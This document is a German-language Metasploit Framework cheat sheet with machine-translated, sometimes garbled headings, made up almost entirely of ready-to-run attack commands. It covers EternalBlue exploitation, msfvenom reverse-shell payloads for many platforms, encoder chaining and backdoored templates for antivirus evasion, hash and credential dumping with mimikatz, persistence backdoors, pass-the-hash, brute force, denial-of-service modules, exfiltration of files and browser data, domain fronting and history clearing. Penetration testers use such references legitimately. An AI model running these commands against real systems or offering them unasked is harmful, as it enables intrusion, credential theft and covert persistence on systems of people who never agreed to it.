Metasploit Framework Cheat Sheet¶

generieren

Überblick¶

Das Metasploit Framework ist das weltweit am weitesten verbreitete Penetrationstest-Framework, das von Rapid7 entwickelt wurde. Ursprünglich von H.D. Moore im Jahr 2003 erstellt, hat Metasploit sich in den de facto Standard für die Nutzung von Entwicklung, Schwachstellenvalidierung und Penetrationstests entwickelt. Der Rahmen bietet eine umfassende Plattform für die Entwicklung, Prüfung und Durchführung von Exploit-Code gegen Remote-Zielmaschinen, so dass es ein unverzichtbares Werkzeug für Sicherheitsexperten, Penetration Tester und rote Teambetreiber.

Die modulare Architektur von Metasploit besteht aus Exploits, Payloads, Encodern, Nops und Hilfsmodulen, die auf verschiedene Weise kombiniert werden können, um anspruchsvolle Angriffsszenarien zu schaffen. Das Framework unterstützt mehrere Schnittstellen, darunter die Kommandozeile msfconsole, die webbasierte Schnittstelle und verschiedene APIs zur Integration mit anderen Sicherheitstools. Mit mehr als 2.000 Exploits und 500 Payloads bietet Metasploit umfangreiche Deckung für die Prüfung von Sicherheitslücken in verschiedenen Betriebssystemen, Anwendungen und Netzwerkdiensten.

Die Stärke des Rahmens liegt nicht nur in seiner umfangreichen Exploit-Datenbank, sondern auch in seinen Nutzlast-Generierungsfunktionen, Post-Exploitations-Modulen und Evasionstechniken. Metasploit ermöglicht Sicherheitsexperten, reale Angriffe zu simulieren, Sicherheitskontrollen zu validieren und die Auswirkungen von Schwachstellen auf die Interessengruppen zu demonstrieren. Die Integration mit anderen Sicherheitswerkzeugen und der umfangreichen Dokumentation ermöglichen es sowohl Anfängern als auch fortgeschrittenen Praktizierenden im Bereich Cybersicherheit.

Installation¶

Kali Linux Installation¶

Metasploit kommt auf Kali Linux vorinstalliert und kann mit dem Paketmanager aktualisiert werden:

```bash

Update Metasploit on Kali Linux¶

sudo apt update sudo apt install metasploit-framework

Initialize the database¶

sudo msfdb init

Start PostgreSQL service¶

sudo systemctl start postgresql sudo systemctl enable postgresql

Verify installation¶

msfconsole --version ```_

Ubuntu/Debian Installation¶

```bash

Add Rapid7 repository¶

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall chmod 755 msfinstall ./msfinstall

Alternative: Manual installation¶

sudo apt update sudo apt install curl wget gnupg2 software-properties-common apt-transport-https ca-certificates

Add Rapid7 GPG key¶

curl -fsSL https://apt.metasploit.com/metasploit-framework.gpg.key|sudo apt-key add -

Add repository¶

echo "deb https://apt.metasploit.com/ lucid main"|sudo tee /etc/apt/sources.list.d/metasploit-framework.list

Install Metasploit¶

sudo apt update sudo apt install metasploit-framework

Initialize database¶

sudo msfdb init ```_

CentOS/RHEL Installation¶

```bash

Install dependencies¶

sudo yum install curl wget which

Download and run installer¶

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall chmod 755 msfinstall sudo ./msfinstall

Initialize database¶

sudo msfdb init

Start PostgreSQL¶

sudo systemctl start postgresql sudo systemctl enable postgresql ```_

Docker Installation¶

```bash

Pull official Metasploit image¶

docker pull metasploitframework/metasploit-framework

Run Metasploit in Docker¶

docker run --rm -it -v "$\\{HOME\\}/.msf4:/home/msf/.msf4" metasploitframework/metasploit-framework

Run with database persistence¶

docker run --rm -it -v "$\\\\{HOME\\\\}/.msf4:/home/msf/.msf4" -v "$\\{HOME\\}/msf-db:/opt/metasploit-framework/embedded/var/lib/postgresql" metasploitframework/metasploit-framework

Create alias for easy access¶

echo 'alias msfconsole="docker run --rm -it -v \"$\\{HOME\\}/.msf4:/home/msf/.msf4\" metasploitframework/metasploit-framework"' >> ~/.bashrc source ~/.bashrc ```_

Windows Installation¶

```powershell

Download installer from official website¶

https://windows.metasploit.com/metasploitframework-latest.msi ¶

Install using PowerShell (requires admin privileges)¶

Start-Process msiexec.exe -Wait -ArgumentList '/I metasploitframework-latest.msi /quiet'

Verify installation¶

& "C:\metasploit-framework\bin\msfconsole.bat" --version

Initialize database (requires PostgreSQL)¶

& "C:\metasploit-framework\bin\msfdb.bat" init ```_

macOS Installation¶

```bash

Install using Homebrew¶

brew install metasploit

Alternative: Download installer¶

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall chmod 755 msfinstall ./msfinstall

Initialize database¶

msfdb init

Start PostgreSQL¶

brew services start postgresql ```_

Basisnutzung¶

Metasploit starten Anmerkung¶

```bash

Start msfconsole¶

msfconsole

Start with specific database¶

msfconsole -d msf_database

Start with custom resource script¶

msfconsole -r /path/to/script.rc

Start in quiet mode¶

msfconsole -q

Start with specific workspace¶

msfconsole -w workspace_name ```_

Datenbankverwaltung¶

```bash

Initialize database¶

msfdb init

Check database status¶

msfdb status

Start database¶

msfdb start

Stop database¶

msfdb stop

Restart database¶

msfdb restart

Delete database¶

msfdb delete

Reinitialize database¶

msfdb reinit ```_

Grundlegende Konsolenbefehle¶

```bash

Get help¶

help ?

Show version information¶

version

Exit console¶

exit quit

Clear screen¶

clear

banner

Load resource script¶

resource /path/to/script.rc

Save command history¶

history -S /path/to/history.txt

Load command history¶

history -L /path/to/history.txt ```_

Kernkommandos¶

Suche und Information¶

```bash

Search for exploits¶

search type:exploit platform:windows search cve:2017-0144 search name:eternal search rank:excellent

Search for payloads¶

search type:payload platform:windows arch:x64 search type:payload platform:linux format:elf

Search for auxiliary modules¶

search type:auxiliary name:scanner

Search for post-exploitation modules¶

search type:post platform:windows

Show module information¶

info exploit/windows/smb/ms17_010_eternalblue info payload/windows/x64/meterpreter/reverse_tcp

Show module options¶

show options show advanced show evasion show targets show payloads

Show available exploits¶

show exploits

Show available payloads¶

show payloads

Show auxiliary modules¶

show auxiliary

Show post-exploitation modules¶

show post

Show encoders¶

show encoders

Show nops¶

show nops ```_

Modulauswahl und Konfiguration¶

```bash

Use a module¶

use exploit/windows/smb/ms17_010_eternalblue use auxiliary/scanner/portscan/tcp use payload/windows/x64/meterpreter/reverse_tcp

Set module options¶

set RHOSTS 192.168.1.100 set RHOST 10.0.0.1 set LHOST 192.168.1.50 set LPORT 4444 set PAYLOAD windows/x64/meterpreter/reverse_tcp

Set global options¶

setg RHOSTS 192.168.1.0/24 setg LHOST 192.168.1.50

Unset options¶

unset RHOSTS unset PAYLOAD

Unset global options¶

unsetg RHOSTS

Show current settings¶

show options show advanced

Get option information¶

info -d RHOSTS

Set advanced options¶

set PrependMigrate true set PrependMigrateProc explorer.exe set AutoRunScript post/windows/manage/migrate ```_

Ziel- und Nutzlastmanagement¶

```bash

Show available targets¶

show targets

Set specific target¶

set TARGET 0 set TARGET "Windows 7 SP1 x64"

Show compatible payloads¶

show payloads

Set payload¶

set PAYLOAD windows/x64/meterpreter/reverse_tcp set PAYLOAD linux/x86/shell/reverse_tcp set PAYLOAD java/jsp_shell_reverse_tcp

Generate payload¶

generate -f exe -o payload.exe generate -f elf -o payload.elf generate -f war -o payload.war

Show payload options¶

show options

Set payload options¶

set LHOST 192.168.1.50 set LPORT 4444 set EXITFUNC thread ```_

Exploitation Workflow¶

Basisausbeutungsprozess¶

```bash

1. Search for exploit¶

search ms17-010

2. Use exploit module¶

use exploit/windows/smb/ms17_010_eternalblue

3. Show and set options¶

show options set RHOSTS 192.168.1.100 set LHOST 192.168.1.50

4. Set payload¶

set PAYLOAD windows/x64/meterpreter/reverse_tcp set LPORT 4444

5. Check if target is vulnerable¶

check

6. Run the exploit¶

exploit run

7. Interact with session¶

sessions -l sessions -i 1 ```_

Advanced Exploitation Techniques¶

```bash

Use specific target¶

use exploit/multi/handler set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.50 set LPORT 4444 exploit -j

Exploit with specific options¶

exploit -z # Don't interact with session exploit -j # Run as job exploit -J # Force running in foreground

Set advanced evasion options¶

set PrependMigrate true set PrependMigrateProc explorer.exe set AutoRunScript post/windows/manage/migrate

Use encoders for evasion¶

set ENCODER x86/shikata_ga_nai set ITERATIONS 3

Set custom user agent¶

set HttpUserAgent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"

Use custom templates¶

set TEMPLATE /path/to/template.exe ```_

Multi-Target Exploitation¶

```bash

Set multiple targets¶

set RHOSTS 192.168.1.100-110 set RHOSTS file:/path/to/targets.txt set RHOSTS 192.168.1.0/24

Use threading for faster exploitation¶

set THREADS 10

Run exploit against all targets¶

exploit

Check all targets¶

check

Use auxiliary scanner first¶

use auxiliary/scanner/smb/smb_version set RHOSTS 192.168.1.0/24 set THREADS 20 run ```_

Nutzlasterzeugung¶

MSFVenom Payload Generation¶

```bash

Generate Windows executables¶

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o payload.exe

Generate Linux executables¶

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o payload.elf

Generate macOS executables¶

msfvenom -p osx/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f macho -o payload.macho

Generate Android APK¶

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -o payload.apk

Generate iOS payload¶

msfvenom -p apple_ios/aarch64/meterpreter_reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f macho -o payload.macho

Generate web payloads¶

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f war -o payload.war msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o payload.php msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f asp -o payload.asp ```_

kodierte Payloads¶

```bash

Encode with shikata_ga_nai¶

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -i 3 -f exe -o encoded_payload.exe

Multiple encoding iterations¶

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f exe -o heavily_encoded.exe

Use different encoders¶

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/alpha_mixed -f exe -o alpha_encoded.exe

Chain multiple encoders¶

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -e x86/alpha_mixed -i 5 -f exe -o multi_encoded.exe ```_

Benutzerdefinierte Vorlagen und Formate¶

```bash

Use custom template¶

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -x /path/to/template.exe -f exe -o backdoored.exe

Keep template behavior¶

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -x /path/to/template.exe -k -f exe -o backdoored.exe

Generate shellcode¶

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f c msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f python msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f powershell

Generate different formats¶

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f dll -o payload.dll msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f msi -o payload.msi ```_

Plattform-spezifische Payloads¶

```bash

Windows payloads¶

msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exe msfvenom -p windows/x64/vncinject/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o vnc.exe msfvenom -p windows/x64/powershell_reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o ps.exe

Linux payloads¶

msfvenom -p linux/x64/shell/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o shell.elf msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4444 -f elf -o bind.elf

Multi-platform payloads¶

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f jar -o payload.jar msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f py -o payload.py ```_

Sitzungsmanagement¶

Grundlegende Sitzungsbefehle¶

```bash

List active sessions¶

sessions

List sessions with details¶

sessions -l

Interact with session¶

sessions -i 1

Kill session¶

sessions -k 1

Kill all sessions¶

sessions -K

Upgrade shell to meterpreter¶

sessions -u 1

Run command on session¶

sessions -c "whoami" -i 1

Run script on session¶

sessions -s /path/to/script.rb -i 1 ```_

Sitzungs-Interaktion¶

```bash

Background current session¶

background bg

Return to session¶

sessions -i 1

Run local command¶

!ls !pwd !cat /etc/passwd

Upload file to session¶

upload /local/file.txt C:\Windows\Temp\file.txt

Download file from session¶

download C:\Windows\System32\drivers\etc\hosts /tmp/hosts

Execute command¶

execute -f cmd.exe -a "/c whoami" execute -f powershell.exe -a "-Command Get-Process"

Get system information¶

sysinfo getuid getpid ```_

Erweiterte Sitzungsverwaltung¶

```bash

Route traffic through session¶

route add 10.0.0.0/24 1 route print route delete 10.0.0.0/24

Port forwarding¶

portfwd add -l 8080 -p 80 -r 192.168.1.100 portfwd list portfwd delete -l 8080

Pivot through session¶

use auxiliary/server/socks_proxy set SRVPORT 1080 run -j

Auto-route through session¶

use post/multi/manage/autoroute set SESSION 1 run ```_

Meterpreter Befehle¶

Systeminformationen¶

```bash

Get system information¶

sysinfo getuid getpid ps

Get environment variables¶

getenv getenv PATH getenv COMPUTERNAME

Get network configuration¶

ipconfig ifconfig route

Get system privileges¶

getprivs

Check if running as system¶

getsystem

Get current directory¶

pwd getwd

List drives¶

show_mount ```_

Dateisystem Operationen¶

```bash

Navigate file system¶

cd C:\Windows cd /etc ls dir

Search for files¶

search -f .txt search -f config. -d C:\ search -f passwd -d /etc

Download files¶

download C:\Windows\System32\config\SAM /tmp/SAM download /etc/passwd /tmp/passwd

Upload files¶

upload /tmp/payload.exe C:\Windows\Temp\payload.exe upload /tmp/script.sh /tmp/script.sh

Edit files¶

edit C:\Windows\Temp\file.txt edit /tmp/file.txt

Delete files¶

rm C:\Windows\Temp\file.txt del /tmp/file.txt

Create directories¶

mkdir C:\Windows\Temp\test mkdir /tmp/test ```_

Prozessmanagement¶

```bash

List processes¶

ps

Get detailed process information¶

ps -A ps -S

Kill process¶

kill 1234

Migrate to process¶

migrate 1234 migrate explorer.exe

Execute programs¶

execute -f cmd.exe execute -f powershell.exe -a "-Command Get-Process" execute -f /bin/bash -a "-c 'id'"

Run as different user¶

execute -f cmd.exe -u username -p password

Create process¶

execute -f notepad.exe -H ```_

Netzwerkaktivitäten¶

```bash

Show network connections¶

netstat netstat -an

ARP table¶

arp

Network interfaces¶

ipconfig ifconfig

Port forwarding¶

portfwd add -l 3389 -p 3389 -r 192.168.1.100 portfwd list portfwd delete -l 3389

Reverse port forwarding¶

portfwd add -R -l 8080 -p 80 -r 127.0.0.1

SOCKS proxy¶

use auxiliary/server/socks_proxy set SRVPORT 1080 run -j ```_

Registry Operations (Windows)¶

```bash

Enumerate registry keys¶

reg enumkey -k HKLM\Software reg enumkey -k HKCU\Software

Query registry values¶

reg queryval -k HKLM\Software\Microsoft\Windows\CurrentVersion -v ProductName reg queryval -k HKCU\Software\Microsoft\Windows\CurrentVersion\Run

Set registry values¶

reg setval -k HKLM\Software\Test -v TestValue -t REG_SZ -d "Test Data"

Delete registry values¶

reg deleteval -k HKLM\Software\Test -v TestValue

Delete registry keys¶

reg deletekey -k HKLM\Software\Test ```_

Einrichtende Operationen¶

```bash

Dump hashes¶

hashdump

Load mimikatz¶

load mimikatz wdigest msv ssp tspkg kerberos

Load kiwi (newer mimikatz)¶

load kiwi creds_all creds_wdigest creds_msv creds_ssp creds_tspkg creds_kerberos

Golden ticket¶

golden_ticket_create -u Administrator -d domain.com -s S-1-5-21-... -k aes256_key

Silver ticket¶

kerberos_ticket_use /path/to/ticket.kirbi ```_

Persistenz¶

```bash

Create persistent backdoor¶

use exploit/windows/local/persistence set SESSION 1 set STARTUP SYSTEM run

Registry persistence¶

reg setval -k HKLM\Software\Microsoft\Windows\CurrentVersion\Run -v Backdoor -t REG_SZ -d "C:\Windows\Temp\backdoor.exe"

Service persistence¶

use post/windows/manage/persistence_exe set SESSION 1 set REXEPATH C:\Windows\Temp\backdoor.exe run

Scheduled task persistence¶

execute -f schtasks.exe -a "/create /tn Backdoor /tr C:\Windows\Temp\backdoor.exe /sc onlogon" ```_

Post-Exploitationsmodule¶

Informationen sammeln¶

```bash

System enumeration¶

use post/windows/gather/enum_system use post/linux/gather/enum_system set SESSION 1 run

Network enumeration¶

use post/windows/gather/enum_domain use post/windows/gather/enum_shares use post/linux/gather/enum_network set SESSION 1 run

Credential gathering¶

use post/windows/gather/credentials/credential_collector use post/windows/gather/smart_hashdump use post/linux/gather/hashdump set SESSION 1 run

Application enumeration¶

use post/windows/gather/enum_applications use post/windows/gather/enum_chrome use post/windows/gather/enum_firefox set SESSION 1 run

File enumeration¶

use post/windows/gather/enum_files use post/multi/gather/find_files set SESSION 1 set SEARCH_FROM C:\ set FILE_GLOBS .txt,.doc,*.pdf run ```_

Vorrechte Eskalation¶

```bash

Windows privilege escalation¶

use post/windows/escalate/getsystem use post/windows/escalate/bypassuac use post/windows/escalate/bypassuac_injection set SESSION 1 run

Linux privilege escalation¶

use post/linux/escalate/cve_2021_4034 use post/linux/escalate/sudo_baron_samedit set SESSION 1 run

Suggest privilege escalation¶

use post/multi/recon/local_exploit_suggester set SESSION 1 run

UAC bypass¶

use exploit/windows/local/bypassuac_comhijack use exploit/windows/local/bypassuac_fodhelper set SESSION 1 run ```_

Spätere Bewegung¶

```bash

Pass the hash¶

use exploit/windows/smb/psexec set RHOSTS 192.168.1.100 set SMBUser Administrator set SMBPass aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 run

WMI execution¶

use exploit/windows/local/wmi set SESSION 1 set RHOSTS 192.168.1.100 run

PowerShell remoting¶

use exploit/windows/local/powershell_remoting set SESSION 1 set RHOSTS 192.168.1.100 run

SSH lateral movement¶

use auxiliary/scanner/ssh/ssh_login set RHOSTS 192.168.1.0/24 set USERNAME root set PASSWORD password run ```_

Daten Exfiltration¶

```bash

File collection¶

use post/multi/gather/find_files set SESSION 1 set SEARCH_FROM C:\Users set FILE_GLOBS .doc,.pdf,.txt,.xls run

Browser data¶

use post/windows/gather/enum_chrome use post/windows/gather/enum_firefox use post/windows/gather/enum_ie set SESSION 1 run

Email data¶

use post/windows/gather/outlook use post/windows/gather/thunderbird_creds set SESSION 1 run

Database enumeration¶

use auxiliary/admin/mssql/mssql_enum use auxiliary/admin/mysql/mysql_enum set SESSION 1 run ```_

Persistenz und Backdoors¶

```bash

Registry persistence¶

use post/windows/manage/persistence_exe set SESSION 1 set REXEPATH C:\Windows\Temp\backdoor.exe set STARTUP SYSTEM run

Service persistence¶

use post/windows/manage/persistence set SESSION 1 set REXEPATH C:\Windows\Temp\backdoor.exe run

Scheduled task¶

use post/windows/manage/schtask set SESSION 1 set TASKNAME Backdoor set REXEPATH C:\Windows\Temp\backdoor.exe run

WMI persistence¶

use post/windows/manage/wmi_persistence set SESSION 1 set REXEPATH C:\Windows\Temp\backdoor.exe run ```_

Zusatzmodule¶

Scanner¶

```bash

Port scanning¶

use auxiliary/scanner/portscan/tcp set RHOSTS 192.168.1.0/24 set PORTS 21,22,23,25,53,80,110,443,993,995 set THREADS 20 run

Service version detection¶

use auxiliary/scanner/http/http_version use auxiliary/scanner/ssh/ssh_version use auxiliary/scanner/ftp/ftp_version set RHOSTS 192.168.1.0/24 set THREADS 10 run

SMB enumeration¶

use auxiliary/scanner/smb/smb_version use auxiliary/scanner/smb/smb_enumshares use auxiliary/scanner/smb/smb_enumusers set RHOSTS 192.168.1.0/24 run

Web application scanning¶

use auxiliary/scanner/http/dir_scanner use auxiliary/scanner/http/files_dir use auxiliary/scanner/http/http_put set RHOSTS 192.168.1.100 set THREADS 10 run ```_

Brute Force Angriffe¶

```bash

SSH brute force¶

use auxiliary/scanner/ssh/ssh_login set RHOSTS 192.168.1.100 set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt set PASS_FILE /usr/share/metasploit-framework/data/wordlists/common_passwords.txt set THREADS 10 run

FTP brute force¶

use auxiliary/scanner/ftp/ftp_login set RHOSTS 192.168.1.100 set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt set PASS_FILE /usr/share/metasploit-framework/data/wordlists/common_passwords.txt run

HTTP basic auth brute force¶

use auxiliary/scanner/http/http_login set RHOSTS 192.168.1.100 set AUTH_URI /admin set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt set PASS_FILE /usr/share/metasploit-framework/data/wordlists/common_passwords.txt run

SMB brute force¶

use auxiliary/scanner/smb/smb_login set RHOSTS 192.168.1.100 set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt set PASS_FILE /usr/share/metasploit-framework/data/wordlists/common_passwords.txt run ```_

Denial of Service¶

```bash

TCP SYN flood¶

use auxiliary/dos/tcp/synflood set RHOST 192.168.1.100 set RPORT 80 set THREADS 10 run

HTTP slowloris¶

use auxiliary/dos/http/slowloris set RHOST 192.168.1.100 set RPORT 80 run

SMB DoS¶

use auxiliary/dos/windows/smb/ms09_001_write set RHOST 192.168.1.100 run

WiFi deauth¶

use auxiliary/dos/wifi/deauth set INTERFACE wlan0 set BSSID 00:11:22:33:44:55 run ```_

SNMP Aufzählung¶

```bash

SNMP community scanner¶

use auxiliary/scanner/snmp/snmp_login set RHOSTS 192.168.1.0/24 run

SNMP enumeration¶

use auxiliary/scanner/snmp/snmp_enum set RHOSTS 192.168.1.100 set COMMUNITY public run

SNMP user enumeration¶

use auxiliary/scanner/snmp/snmp_enumusers set RHOSTS 192.168.1.100 run

SNMP process enumeration¶

use auxiliary/scanner/snmp/snmp_enumprocesses set RHOSTS 192.168.1.100 run ```_

Datenbankintegration¶

Workspace Management¶

```bash

List workspaces¶

workspace

Create workspace¶

workspace -a project_name

Switch workspace¶

workspace project_name

Delete workspace¶

workspace -d project_name

Rename workspace¶

workspace -r old_name new_name

Show current workspace¶

workspace -v ```_

Host- und Servicemanagement¶

```bash

Add hosts¶

db_import /path/to/nmap_scan.xml hosts

Add host manually¶

hosts -a 192.168.1.100 -n target1 -o "Windows 10"

Show hosts¶

hosts hosts -c address,name,os_name

Search hosts¶

hosts 192.168.1.0/24 hosts -S windows

Delete hosts¶

hosts -d 192.168.1.100

Add services¶

services -a -p 80 -s http -h 192.168.1.100

Show services¶

services services -p 80 services -s http

Delete services¶

services -d -p 80 -h 192.168.1.100 ```_

Sicherheitsmanagement¶

```bash

Show vulnerabilities¶

vulns

Add vulnerability¶

vulns -a -h 192.168.1.100 -n "MS17-010" -r "CVE-2017-0144"

Search vulnerabilities¶

vulns -S ms17-010

Show vulnerability details¶

vulns -v

Export vulnerabilities¶

vulns -O /tmp/vulns.xml ```_

Gründungsmanagement¶

```bash

Show credentials¶

creds

Add credentials¶

creds -a -h 192.168.1.100 -u administrator -p password123 -t password

Search credentials¶

creds -S administrator

Show credential details¶

creds -v

Export credentials¶

creds -O /tmp/creds.csv ```_

Loot Management¶

```bash

Show loot¶

loot

Add loot¶

loot -a -h 192.168.1.100 -t "password_file" -f /tmp/passwords.txt

Search loot¶

loot -S password

Export loot¶

loot -O /tmp/loot.xml ```_

Erweiterte Techniken¶

Personalentwicklung¶

```ruby

Basic exploit module template¶

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = \\{\\}) super(update_info(info, 'Name' => 'Custom Exploit', 'Description' => 'Custom exploit description', 'Author' => ['Your Name'], 'License' => MSF_LICENSE, 'References' => [['CVE', '2021-1234']], 'Platform' => 'win', 'Targets' => [['Windows Universal', \\{\\}]], 'Payload' => \\{ 'Space' => 400, 'BadChars' => "\x00\x0a\x0d" \\}, 'DisclosureDate' => '2021-01-01', 'DefaultTarget' => 0))

register_options([
  Opt::RPORT(9999)
])

end

def check # Vulnerability check logic return Exploit::CheckCode::Vulnerable end

def exploit # Exploitation logic connect print_status("Sending payload...") sock.put(payload.encoded) handler disconnect end end ```_

Entwicklung der Nutzlast¶

```ruby

Basic payload module template¶

require 'msf/core'

module MetasploitModule CachedSize = 200

include Msf::Payload::Single include Msf::Payload::Windows include Msf::Payload::Windows::Exec

def initialize(info = \\{\\}) super(merge_info(info, 'Name' => 'Custom Windows Payload', 'Description' => 'Custom payload description', 'Author' => ['Your Name'], 'License' => MSF_LICENSE, 'Platform' => 'win', 'Arch' => ARCH_X86))

register_options([
  OptString.new('CMD', [true, "Command to execute", 'calc.exe'])
])

end

def generate # Payload generation logic cmd = datastore['CMD']||'calc.exe' # Return shellcode end end ```_

Evasion Techniken¶

```bash

Use encoders¶

set ENCODER x86/shikata_ga_nai set ITERATIONS 5

Use custom templates¶

set TEMPLATE /path/to/legitimate.exe

Modify payload behavior¶

set PrependMigrate true set PrependMigrateProc explorer.exe

Use HTTPS for C2¶

set LHOST 192.168.1.50 set LPORT 443 set HttpsUserAgent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"

Domain fronting¶

set HttpHostHeader legitimate-domain.com set LHOST cdn-provider.com

Custom user agents¶

set HttpUserAgent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"

Sleep and jitter¶

set WfsDelay 30 set Jitter 25 ```_

Automatisierung und Schrift¶

```bash

Resource scripts¶

echo "use exploit/multi/handler" > handler.rc echo "set PAYLOAD windows/x64/meterpreter/reverse_tcp" >> handler.rc echo "set LHOST 192.168.1.50" >> handler.rc echo "set LPORT 4444" >> handler.rc echo "exploit -j" >> handler.rc

Load resource script¶

msfconsole -r handler.rc

Ruby scripting¶

irb framework = Msf::Simple::Framework.create session = framework.sessions[1] session.shell_command("whoami")

Automation script¶

!/usr/bin/env ruby¶

require 'msf/core' require 'msf/base'

framework = Msf::Simple::Framework.create exploit = framework.exploits.create('windows/smb/ms17_010_eternalblue') exploit.datastore['RHOSTS'] = '192.168.1.100' exploit.datastore['PAYLOAD'] = 'windows/x64/meterpreter/reverse_tcp' exploit.datastore['LHOST'] = '192.168.1.50' exploit.datastore['LPORT'] = '4444' exploit.exploit_simple('Payload' => exploit.datastore['PAYLOAD']) ```_

Integration mit anderen Tools¶

Nmap Integration¶

```bash

Import Nmap results¶

db_import /path/to/nmap_scan.xml

Use Nmap from within Metasploit¶

db_nmap -sS -O 192.168.1.0/24 db_nmap -sV -p 1-1000 192.168.1.100

Automated exploitation based on Nmap results¶

use auxiliary/scanner/portscan/tcp set RHOSTS 192.168.1.0/24 run

Use discovered services¶

hosts -c address,name,os_name services -c port,proto,name,state ```_

Integration von Burp Suite¶

```bash

Configure Burp proxy¶

set Proxies http:127.0.0.1:8080

Use Burp findings¶

use auxiliary/scanner/http/dir_scanner set RHOSTS target.com set DICTIONARY /path/to/burp_discovered_dirs.txt run

Export session for Burp¶

sessions -l sessions -C "netstat -an" -i 1 > network_connections.txt ```_

Cobalt Strike Integration¶

```bash

Generate Cobalt Strike compatible payload¶

msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.1.50 LPORT=80 -f raw|base64

Use Cobalt Strike beacon¶

use exploit/multi/handler set PAYLOAD windows/x64/meterpreter/reverse_http set LHOST 192.168.1.50 set LPORT 80 exploit -j

Lateral movement coordination¶

route add 10.0.0.0/24 1 use auxiliary/server/socks_proxy set SRVPORT 1080 run -j ```_

OSINT Integration¶

```bash

Use theHarvester results¶

use auxiliary/gather/search_email_collector set DOMAIN target.com run

Shodan integration¶

use auxiliary/gather/shodan_search set SHODAN_APIKEY your_api_key set QUERY "apache city:\"New York\"" run

use auxiliary/gather/social_engineering_toolkit set TARGET_EMAIL admin@target.com run ```_

Fehlerbehebung¶

Gemeinsame Themen und Lösungen¶

```bash

Database connection issues¶

msfdb status msfdb reinit sudo systemctl restart postgresql

Module loading errors¶

reload_all updatedb

Payload generation failures¶

msfvenom --list formats msfvenom --list encoders msfvenom --list platforms

Session connectivity issues¶

sessions -l sessions -k 1 route print route flush

Permission issues¶

sudo chown -R $USER:$USER ~/.msf4 sudo chmod -R 755 ~/.msf4 ```_

Leistungsoptimierung¶

```bash

Increase database performance¶

echo "shared_buffers = 256MB"|sudo tee -a /etc/postgresql//main/postgresql.conf echo "effective_cache_size = 1GB"|sudo tee -a /etc/postgresql//main/postgresql.conf sudo systemctl restart postgresql

Optimize threading¶

set THREADS 20 set MaxSessions 10

Memory optimization¶

ulimit -n 4096 echo "* soft nofile 4096"|sudo tee -a /etc/security/limits.conf echo "* hard nofile 4096"|sudo tee -a /etc/security/limits.conf

Clean up old sessions¶

sessions -K db_rebuild_cache ```_

Debugging¶

```bash

Enable verbose output¶

set VERBOSE true

Debug mode¶

msfconsole -L -o /tmp/msf.log

Ruby debugging¶

irb load '/usr/share/metasploit-framework/lib/msf/core.rb' framework = Msf::Simple::Framework.create

Module debugging¶

use exploit/windows/smb/ms17_010_eternalblue set VERBOSE true check ```_

Sicherheitsüberlegungen¶

Operationelle Sicherheit¶

```bash

Use VPN or proxy¶

set Proxies socks5:127.0.0.1:9050

Randomize source ports¶

set CPORT 1024-65535

Use legitimate user agents¶

set HttpUserAgent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"

Implement delays¶

set WfsDelay 10 set Jitter 25

Clean up artifacts¶

rm /tmp/payload.exe history -c ```_

